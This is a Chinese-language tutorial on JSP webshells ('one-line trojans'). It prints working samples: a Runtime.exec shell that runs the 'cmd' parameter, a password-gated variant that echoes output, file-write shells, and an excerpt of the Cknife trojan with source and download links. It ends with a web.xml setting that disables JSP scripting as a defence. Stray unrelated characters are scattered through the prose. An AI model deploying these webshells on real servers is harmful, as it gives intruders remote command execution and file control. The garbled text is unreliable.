0x01 前言
??一句話木馬短小精悍,而且功能強大,隱蔽性非常好苞尝,在入侵中始終扮演著強大的作用。
0x02 一句話木馬樣本舉例
一宦芦、樣本一
- 命令執(zhí)行
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
??Runtime
類封裝了運行時的環(huán)境宙址。每個 Java 應(yīng)用程序都有一個 Runtime
類實例,使應(yīng)用程序能夠與其運行的環(huán)境相連接调卑。使用 getRuntime()
構(gòu)建 Runtime
類實例抡砂。 getRuntime()
返回與當(dāng)前 Java 應(yīng)用程序相關(guān)的運行時對象。獲取實例后調(diào)用 exec()
方法執(zhí)行系統(tǒng)命令恬涧。
??request
為 JSP 內(nèi)置對象注益,getParameter()
方法獲取請求參數(shù) cmd
的值構(gòu)建命令 。
請求URL:http://127.0.0.1/shell.jsp?cmd=calc
二溯捆、樣本二
- 命令執(zhí)行
<%@ page language="java" contentType="text/html; charset=GBK"
pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>一句話木馬</title>
</head>
<body>
<%
if ("admin".equals(request.getParameter("pwd"))) {
java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int len = -1;
byte[] bytes = new byte[4092];
out.print("<pre>");
while ((len = input.read(bytes)) != -1) {
out.println(new String(bytes, "GBK"));
}
out.print("</pre>");
}
%>
</body>
</html>
??原理與樣本一相同丑搔, inputStream()
方法獲取命令回顯輸出到前端頁面中。
請求URL:http://127.0.0.1/shell.jsp?pwd=admin&cmd=calc
三现使、樣本三
- 文件寫入
<%
// ISO-8859-1 輸入
new java.io.FileOutputStream(request.getParameter("file")).write(request.getParameter("content").getBytes());
// UTF-8 輸入
new java.io.FileOutputStream(request.getParameter("file")).write(new String(request.getParameter("content").getBytes("ISO-8859-1"), "UTF-8").getBytes());
// Web 目錄寫入
new java.io.FileOutputStream(application.getRealPath("/") + "/" + request.getParameter("filename")).write(request.getParameter("content").getBytes());
// 功能更加豐富的寫入
new java.io.RandomAccessFile(request.getParameter("file"),"rw").write(request.getParameter("content").getBytes());
%>
??new FileOutputStream(name, append)
調(diào)用 FileOutputStream
類構(gòu)造函數(shù)創(chuàng)建文件低匙,并寫入內(nèi)容。file
參數(shù)為文件全限定名碳锈,filename
為文件名顽冶,content
為文本內(nèi)容。
// ISO-8859-1 輸入
請求URL:http://127.0.0.1/input.jsp?file=D:/test.txt&content=test
// UTF-8 輸入
請求URL:http://127.0.0.1/input.jsp?file=D:/test.txt&content=測試內(nèi)容
// Web 目錄寫入
請求URL:http://127.0.0.1/input.jsp?filename=test.txt&content=test
// 功能更加豐富的寫入
請求URL:http://127.0.0.1/input.jsp?file=D:/test.txt&content=test
四售碳、反射調(diào)用外部 Jar 包
- 菜刀木馬
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
<%!
String Pwd = "Cknife";
String cs = "UTF-8";
String EC(String s) throws Exception {
return new String(s.getBytes("ISO-8859-1"),cs);
}
Connection GC(String s) throws Exception {
String[] x = s.trim().split("choraheiheihei");
Class.forName(x[0].trim());
if(x[1].indexOf("jdbc:oracle")!=-1){
return DriverManager.getConnection(x[1].trim()+":"+x[4],x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
}else{
Connection c = DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
if (x.length > 4) {
c.setCatalog(x[4]);
}
return c;
}
}
void AA(StringBuffer sb) throws Exception {
File k = new File("");
File r[] = k.listRoots();
for (int i = 0; i < r.length; i++) {
sb.append(r[i].toString().substring(0, 2));
}
}
// 省略部分代碼强重,詳情訪問:
// 源碼:https://github.com/Chora10/Cknife
// 下載地址:http://pan.baidu.com/s/1nul1mpr 密碼:f65g
} catch (Exception e) {
sb.append("ERROR" + ":// " + e.toString());
}
sb.append("|" + "<-");
out.print(sb.toString());
}
%>
0x03 防范方法
??前提條件:Java Web 應(yīng)用沒有在 JSP 中直接使用任何 Java 代碼绞呈,否則會對應(yīng)用本身造成影響。
<jsp-config>
<jsp-property-group>
<url-pattern>*.jspx</url-pattern>
<url-pattern>*.jsp</url-pattern>
<scripting-invalid>true</scripting-invalid>
</jsp-property-group>
</jsp-config>
??配置生效后间景,將不允許 Jsp / Jspx 文件中包含任何 scripting
佃声,包括:
<%%> 與 <jsp:scriptlet></jsp:scriptlet>
<%!%> 與 <jsp:declaration></jsp:declaration>
<%=%> 與 <jsp:expression></jsp:expression>
??包括這些的 Jsp / Jspx 文件在編譯的時候?qū)a(chǎn)生編譯錯誤。目前能看見的 Java 的 webshell 全都離不開這幾種語法倘要,所以應(yīng)該可以說是能夠禁止所有目前已知的 Java WebShell圾亏。